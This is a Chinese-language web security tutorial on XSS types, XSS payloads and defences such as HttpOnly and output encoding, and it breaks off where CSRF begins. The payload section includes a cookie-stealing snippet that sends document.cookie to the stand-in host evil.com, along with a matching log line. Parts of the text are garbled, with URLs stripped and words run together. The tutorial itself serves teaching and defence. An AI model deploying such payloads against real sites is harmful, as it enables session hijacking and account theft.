安全问题按照发生的区域分类后端安全问题:发生在后端服务器、应用、服务的所有安全问题前端安全问题:所有那些发生在浏览器、单页应用、网页中的安全问题,根据团队中哪个角色最适合修复安全问题进行分类。前端安全问题:浏览器、前端应用出现的安全问题,或者通常由前端开发工程师修复。对于来自不同来源的文档或脚本,影响“来源”读取或设置当前文档某些属性的因素有:主机(域名或IP地址)、子域名、端口、协议对于浏览器、DOM、Cookie、XMLHttpRequest会受同源策略限制,不受同源策略限制alert('xss')。如果前端页面不过滤搜索框内容,直接发送,URL地址栏应该显示https://category。vip.com/suggest.php?keyword=&ff=235|12|1|1,从而告警xss,但事实是已经转码:https://category.vip.com/suggest.php?keyword=%3Cscript%3Ealert(%27xss%27)%3C%2Fscript%3E&ff=235|12|1|1假设前端页面没有处理,攻击者可以通过构造获取用户cookie的地址,诱使用户访问该地址,例如https://category.vip.com/suggest.php?keyword=&ff=235|12|1|12。存储型XSS:将用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性。例如,黑客写了一篇包含恶意javascript代码的博客文章。帖子发布后,所有访问该博文的用户都会在浏览器中执行这段恶意javascript代码,黑客将恶意脚本保存到服务器上3.DOMBasedXSS:通过修改页面DOM节点形成的XSS。例如:在输入框中输入内容后,点击write,然后点击一个链接原理:先把href的第一个单引号用单引号括起来,然后插入onclick事件,最后用注释符号"//"注释掉第二个单引号。单击此链接,脚本将被执行。XSSPayload攻击定义XSS攻击成功后,攻击者可以在用户当前浏览的页面中植入恶意脚本,通过恶意脚本控制用户的浏览器。这些用于完成各种特定功能的恶意脚本称为XSSPayload。实际上,它是一个Javascript脚本(或者Flash或者其他富客户端脚本),所以XSSPayload可以实现javascript脚本可以实现的任何功能。攻击者通过读取浏览器的cookie对象,先发起“cookie劫持”攻击。一个远程脚本http://www.a.com/test.htm?abc=">真正的XSSPayload写在这里在remotescript中,避免直接在url的参数中写入大量Javascript代码,在evil.js中,窃取cookievarimg=document.createElement("img");img.src="http://www.evil.com/log?"+escape(document.cookie);document.body.appendChild(img);以上代码在页面中插入了一张不可见的图片,并将document.cookie对象作为参数发送给远程服务器http://www.evil.com/log不一样...,因为这个请求会在远程服务器127.0.0.1的web日志中留下一条记录--[119/Jul/2010:11:30:42+0800]"GET/log?cookie1%3D1234HTTP/1.1"404288通过模拟GET和POST请求操作用户浏览器(当“cookie劫持”失败,或者目标用户网络无法上网时,会很有用)假设博客页面存在XSS漏洞,可以通过构造get请求来操作用户浏览器,假设正常删除博客文章的链接是http://blog.test.com/manage/e。..对于攻击者来说,你只需要知道文章的id,就可以通过这个请求删除这篇文章。攻击者可以通过插入图片来发起get请求。攻击者只需要让博主执行这段javascript代码,就是XSSPayload,就会被删除。本文XSS防御1.HttpOnly浏览器禁止页面上的Javascript访问具有HttpOnly属性的cookie。(真正的解决方案是:XSS后的cookie劫持攻击)现在已经成为一种“标准”做法不同的语言对cookie添加HttpOnly的方式不同,比如JavaEE:response.setHeader("Set-Cookie",“cookiename=value;Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly”);PHP4:header(“Set-Cookie:hidden=value;httpOnly”);PHP5:setcookie(“abc”,“test",NULL,NULL,NULL,NULL,TRUE);//true为HttpOnly属性2.输入检查(XSSFilter)原理:使一些基于特殊字符的攻击无效。(常见的Web漏洞如XSS、SQLInjection等需要攻击者构造一些特殊字符)输入校验的逻辑必须在服务端代码中实现。当前Web开发中的常见做法是同时在客户端Javascript和服务器端代码中实现相同的输入检查。客户端的输入校验,可以阻断大部分正常用户的输入错误,节省服务器资源。3、输出检查变量输出到HTML页面时,使用编码或转义来防御XSS攻击HTML代码的编码方式:HtmlEncodePHP:htmlentities()和htmlspecialchars()两个函数Javascript:JavascriptEncode(需要使用""转义特殊字符,并要求输出变量必须在引号内)在URL的路径(path)或搜索(参数)中输出。使用URLEncode的具体实现可以参考:http://www.cnblogs.com/lovesong/p/5211667.html防御DOMBasedXSSD的形成DOMBasedXSS:(举例)本质:从Javascript输出数据对HTML页面这个例子的解决方法:做一个HtmlEncode防御方法:根据上下文使用不同的编码功能总结XSS漏洞虽然复杂,但是完全可以解决。在设计解决方案时,应该针对不同的场景了解XSS攻击的原理,使用不同的方法2.CSRF(Cross-SiteRequestForgery)什么是CSRF?://www.a.com/csrf.html,其内容为
